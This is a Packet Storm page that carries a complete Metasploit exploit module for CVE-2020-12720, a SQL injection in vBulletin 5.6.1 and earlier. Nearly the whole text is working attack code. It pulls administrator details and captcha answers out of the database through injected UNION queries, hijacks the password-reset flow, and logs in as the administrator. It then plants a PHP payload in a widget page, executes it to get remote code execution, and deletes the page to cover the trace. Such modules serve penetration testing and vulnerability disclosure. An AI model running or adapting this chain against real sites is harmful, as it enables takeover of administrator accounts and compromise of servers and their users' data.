vBulletin 5.6.1 SQL Injection

2020-06-02T00:00:00
ID PACKETSTORM:157904
Type packetstorm
Reporter Charles FOL
Modified 2020-06-02T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::AutoCheck  
  
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier  
This module uses the getIndexableContent vulnerability to reset the administrators password,  
it then uses the administrators login information to achieve RCE on the target. This module  
has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE  
'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module  
],  
'References' => [  
['CVE', '2020-12720'],  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [  
['Automatic', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-03-12',  
'DefaultTarget' => 0  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),  
OptInt.new('NODE', [false, 'Valid Node ID']),  
OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),  
OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),  
OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])  
])  
end  
  
# Performs SQLi attack  
def do_sqli(node_id, tbl_prfx, field, table, condition)  
where_cond = condition.nil? || condition == '' ? '' : "where #{condition}"  
injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 "  
injection << "from #{tbl_prfx}#{table} #{where_cond}--"  
  
print_status("Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),  
'vars_post' => {  
'nodeId[nodeid]' => "#{node_id}#{injection}"  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']  
  
parsed_resp['rawtext']  
end  
  
# Gets human verification token  
def get_hv_hash  
print_status("Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),  
'vars_post' => {  
'securitytoken' => 'guest'  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']  
  
hv_hash = parsed_resp['hash']  
print_good("Retrieved '#{hv_hash}' human verification token.")  
hv_hash  
end  
  
# Gets the human verification (question based) answer  
def get_hv_ques_answer(node_id, tbl_prfx, questionid)  
print_status("Using HV token '#{questionid}' and SQLinjection to determine HV question answer.")  
hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', "questionid = '#{questionid}'")  
  
if questionid.nil?  
return nil  
end  
  
print_good("Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.")  
hv_answer  
end  
  
# Gets the human verification (image based) answer  
def get_hv_answer(node_id, tbl_prfx, hv_hash)  
print_status("Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.")  
hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', "hash = '#{hv_hash}'")  
  
if hv_answer.nil?  
return nil  
end  
  
print_good("Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.")  
hv_answer  
end  
  
# Gets the prefix to the SQL tables used in vbulletin install  
def get_table_prefix(node_id)  
print_status('Attempting to determine the vBulletin table prefix.')  
table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")  
  
unless table_name && table_name.split('language').index  
fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')  
end  
  
tbl_prefix = table_name.split('language')[0]  
print_good("Sucessfully retrieved table to get prefix from #{table_name}.")  
  
tbl_prefix  
end  
  
# Sends the request to begin forgot password request  
def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')  
print_status("Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.")  
if type == 'Question'  
hv_field_name1 = 'humanverify[input]'  
hv_field_name2 = 'humanverify[hash]'  
elsif type == 'Recaptcha2'  
hv_field_name1 = 'unused'  
hv_field_name2 = 'humanverify[g-recaptcha-response]'  
else  
hv_field_name1 = 'humanverify[input]'  
hv_field_name2 = 'humanverify[hash]'  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),  
'vars_post' => {  
'email' => admin_email.to_s,  
hv_field_name1.to_s => hv_answer.to_s,  
hv_field_name2.to_s => hv_hash.to_s,  
'securitytoken' => 'guest'  
}  
})  
  
return false unless res && res.code == 200  
  
parsed_resp = res.get_json_document  
  
return false if parsed_resp['response'] && parsed_resp['response']['errors']  
  
true  
end  
  
# Attempts to login to vBulletin install  
def login(user, pass, type = '')  
print_status("Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),  
'vars_post' => {  
'logintype': type.to_s,  
'username' => user.to_s,  
'password' => pass.to_s,  
'securitytoken' => 'guest'  
}  
})  
  
return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']  
  
print_good("Successfully logged in as #{user} #{type}.")  
  
[res.get_cookies, parsed_resp['newtoken']]  
end  
  
# Gets an administrator's info from the database using SQLi  
def get_admin_info(node_id, tbl_prefix)  
uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)  
username = do_sqli(node_id, tbl_prefix, 'username', 'user', "userid = '#{uid}'")  
token = do_sqli(node_id, tbl_prefix, 'token', 'user', "userid = '#{uid}'")  
email = do_sqli(node_id, tbl_prefix, 'email', 'user', "userid = '#{uid}'")  
  
unless uid && username && token && email  
return [nil, nil, nil, nil]  
end  
  
[uid, username, token, email]  
end  
  
# Activates vBulletin site builder  
def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)  
print_status("Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),  
'cookie' => [cookie_jar],  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'pageid' => pageid.to_s,  
'nodeid' => nodeid.to_s,  
'userid' => userid.to_s,  
'loadMenu' => 'false',  
'isAjaxTemplateRender' => 'true',  
'isAjaxTemplateRenderWithData' => 'true',  
'securitytoken' => sec_token.to_s  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']  
  
print_good('Successfully enabled site-builder functionality.')  
true  
end  
  
# Creates new widget instance  
def new_widget_instance(sec_token, cookie_jar)  
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),  
'cookie' => [cookie_jar],  
'vars_post' => {  
'containerinstanceid' => '0',  
'widgetid' => '23', # PHP widget type ID  
'pagetemplateid' => '',  
'securitytoken' => sec_token.to_s  
}  
})  
  
return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']  
  
print_good('Created new widget instance.')  
  
[parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]  
end  
  
# Saves a new widget to vBulletin.  
def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)  
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),  
'cookie' => [cookie_jar],  
'vars_post' => {  
'widgetid' => '23', # PHP widget type ID  
'pagetemplateid' => pt_id.to_s,  
'widgetinstanceid' => wi_id.to_s,  
'data[widget_type]' => '',  
'data[title]' => rand_text_alphanumeric(rand(6..16)),  
'data[show_at_breakpoints][desktop]' => '1',  
'data[show_at_breakpoints][small]' => '1',  
'data[show_at_breakpoints][xsmall]' => '1',  
'data[hide_title]' => '1',  
'data[module_viewpermissions][key]' => 'show_all',  
'data[code]' => payload.encoded.to_s,  
'securitytoken' => sec_token.to_s  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']  
  
print_good('Successfully added payload to widget.')  
  
true  
end  
  
# Sends request to reset password using activation id.  
def reset_password(admin_uid, act_id, new_pass)  
print_status("Sending reset password request to '#{target_uri.path}/auth/reset-password'.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'userid' => admin_uid.to_s,  
'activationid' => act_id.to_s,  
'new-password' => new_pass.to_s,  
'new-password-confirm' => new_pass.to_s,  
'securitytoken' => 'guest'  
}  
})  
  
unless res && res.code == 200 && res.body.to_s =~ /Logging in/  
return nil  
end  
  
print_good("User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.")  
  
true  
end  
  
# Deletes a page in vbulletin  
def delete_page(pageid, login_token, cookie_jar)  
print_status("Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),  
'cookie' => [cookie_jar],  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'pageid' => pageid.to_s,  
'securitytoken' => login_token.to_s  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']  
  
print_good("Successfully deleted page with pageid: #{pageid}")  
  
true  
end  
  
# Makes request to execute PHP payload.  
def exec_payload(rest_url)  
print_status("Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, rest_url)  
})  
  
unless res && res.code == 200  
return nil  
end  
  
print_good('Request made succesfully, payload should be executing now.')  
  
true  
end  
  
# Fetches a human verification question based on hash.  
def get_hv_question(hash)  
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),  
'vars_post' => {  
'hash' => hash.to_s  
}  
})  
  
unless res && res.code == 200 && res.body.to_s !~ /"errors"/  
return nil  
end  
  
res.body.to_s.tr('"', '')  
end  
  
# Saves a new page to the vBulletin install  
def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)  
print_status("Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),  
'cookie' => [session_info[1]],  
'vars_post' => {  
'input[ishomeroute]' => '0',  
'input[pageid]' => '0',  
'input[nodeid]' => nodeid.to_s,  
'input[userid]' => userid.to_s,  
'input[screenlayoutid]' => '2',  
'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),  
'input[displaysections[0]]' => '[]',  
'input[displaysections[1]]' => '[]',  
'input[displaysections[2]]' => "[{\"widgetId\":\"23\",\"widgetInstanceId\":\"#{wi_id}\"}]",  
'input[displaysections[3]]' => '[]',  
'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),  
'input[resturl]' => payload_url.to_s,  
'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),  
'input[pagetemplateid]' => pt_id.to_s,  
'url' => normalize_uri(target_uri.path),  
'securitytoken' => session_info[0].to_s  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']  
  
print_good("Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.")  
  
parsed_resp['pageid']  
end  
  
# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")  
def get_hv_type  
  
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')  
})  
  
unless res && res.code == 200  
return nil  
end  
  
hv_type = res.body.to_s.tr('"', '')  
print_good("Retrieved HV/captcha type of '#{hv_type}'.")  
  
hv_type.to_s.tr("'", '')  
end  
  
# Brute force a nodeid (attack requires a valid nodeid)  
def brute_force_node  
min = datastore['MINNODE']  
max = datastore['MAXNODE']  
  
if min > max  
print_error("MINNODE can't be major than MAXNODE.")  
return nil  
end  
  
for node_id in min..max  
if exists_node?(node_id)  
return node_id  
end  
end  
  
nil  
end  
  
# Checks if a nodeid is valid  
def exists_node?(id)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),  
'vars_post' => {  
'nodeid' => id.to_s  
}  
})  
  
unless res && res.code == 200  
return nil  
end  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']  
  
print_good("Sucessfully found node at id #{id}")  
true  
end  
  
# Gets a node through BF or user supplied value  
def get_node  
if datastore['NODE'].nil? || datastore['NODE'] <= 0  
print_status('Brute forcing to find a valid node id.')  
return brute_force_node  
end  
  
print_status("Checking node id '#{datastore['NODE']}'.")  
return datastore['NODE'] if exists_node?(datastore['NODE'])  
  
nil  
end  
  
# Check function for exploit  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'js', 'login.js')  
})  
  
return CheckCode::Unknown unless res && res.code == 200  
  
return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\.6\.1 Patch Level 1/  
  
if res.body.to_s =~ /vBulletin ([\.0-9]+)/  
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1')  
return CheckCode::Safe  
elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0')  
return CheckCode::Appears  
end  
  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
end  
  
# Performs all exploit functionality  
def exploit  
super  
  
# Get node_id for requests  
node_id = get_node  
fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id  
  
# Get vBulletin table prefix  
table_prfx = get_table_prefix(node_id)  
fail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx  
  
# Get admin info (email, uid, token)  
admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)  
unless admin_uid && admin_user && admin_token && admin_email  
fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')  
end  
print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")  
  
if !datastore['MANUALLOSTPASS']  
# Determine HV type  
hv_type = get_hv_type  
  
fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type  
  
fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type  
  
# Generate HV token and get answer  
if hv_type == 'Image' && hv_type != 'Disabled'  
hv_hash = get_hv_hash  
hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)  
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer  
  
elsif hv_type == 'Question' && hv_type != 'Disabled'  
hv_hash = get_hv_hash  
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash  
  
ques_id = get_hv_answer(node_id, table_prfx, hv_hash)  
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id  
  
hv_question = get_hv_question(hv_hash)  
hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)  
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer  
  
print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")  
end  
  
# Make request to forget my password  
brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)  
  
# We fail here when the answer to the HV question contains a complex regex or is recaptcha2  
fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret  
end  
  
# Get Activation ID for forgot password request from DB  
activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")  
fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id  
  
# Make request setting new password  
new_pass = rand_text_alphanumeric(rand(10..16))  
rp_ret = reset_password(admin_uid, activation_id, new_pass)  
fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret  
  
# Login to vBulletin  
cookie_jar, login_token = login(admin_user, new_pass)  
fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token  
  
# Activate Site Builder (is this necessary?!)  
actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)  
fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret  
  
# Login to vBulletin  
cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')  
fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token  
  
# Create new widget  
wi_id, pt_id = new_widget_instance(login_token, cookie_jar)  
fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id  
  
# Save modifications to widget  
sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)  
fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret  
  
# Add page with widget embedded  
payload_url = rand_text_alphanumeric(rand(6..10))  
session_info = [login_token, cookie_jar]  
page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)  
fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id  
  
# Execute php payload  
print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")  
exec_payload(payload_url)  
  
# Delete page with widget embedded within it  
dp_ret = delete_page(page_id, login_token, cookie_jar)  
print_bad('Could not delete page (cleanup phase).') unless dp_ret  
end  
  
end  
`